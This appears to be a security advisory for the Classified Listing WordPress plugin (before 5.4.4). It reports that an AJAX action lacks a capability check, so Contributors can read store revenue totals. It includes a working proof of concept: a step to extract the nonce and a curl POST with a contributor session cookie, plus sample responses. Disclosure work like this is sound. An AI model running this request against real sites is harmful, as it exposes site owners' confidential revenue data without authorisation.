Classified Listing < 5.4.4 – Contributor+ Store Revenue Total Disclosure via rtcl_revenue_order_search | CVE 2026-16276

Description

The plugin does not perform a capability check on an AJAX action that returns aggregated store revenue totals, allowing users with contributor-level access and above to read daily revenue figures normally restricted to administrators and report managers.

Proof of Concept

Prerequisites:
- The store has at least one completed payment (Classified Listing's built-in payment module records these; WooCommerce is not required).
- Attacker holds a Contributor (or higher) account. Subscribers cannot reach the block editor and so cannot obtain the nonce; Contributors can.

Steps:
1. Log in as a Contributor.
2. Open /wp-admin/post-new.php and read the nonce from the page's localized JS object (browser console): rtcl_block_script.rtcl_nonce
3. Call the AJAX handler with that nonce and any date range:

curl -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -b "wordpress_logged_in_<hash>=<CONTRIBUTOR_SESSION>" \
  --data "action=rtcl_revenue_order_search&rtcl_nonce=<NONCE>&start_date=2026-06-15&end_date=2026-06-15"

Expected response (aggregated daily total revenue for the range):
{"success":true,"data":{"15 Jun, 2026":149}}

Negative controls:
- Bad nonce (contributor) → {"success":false,"data":"Session Expired!!"}
- Unauthenticated (no cookie) → 0 (HTTP 400): the handler is registered only as wp_ajax_ (no nopriv), so a valid logged-in session is required.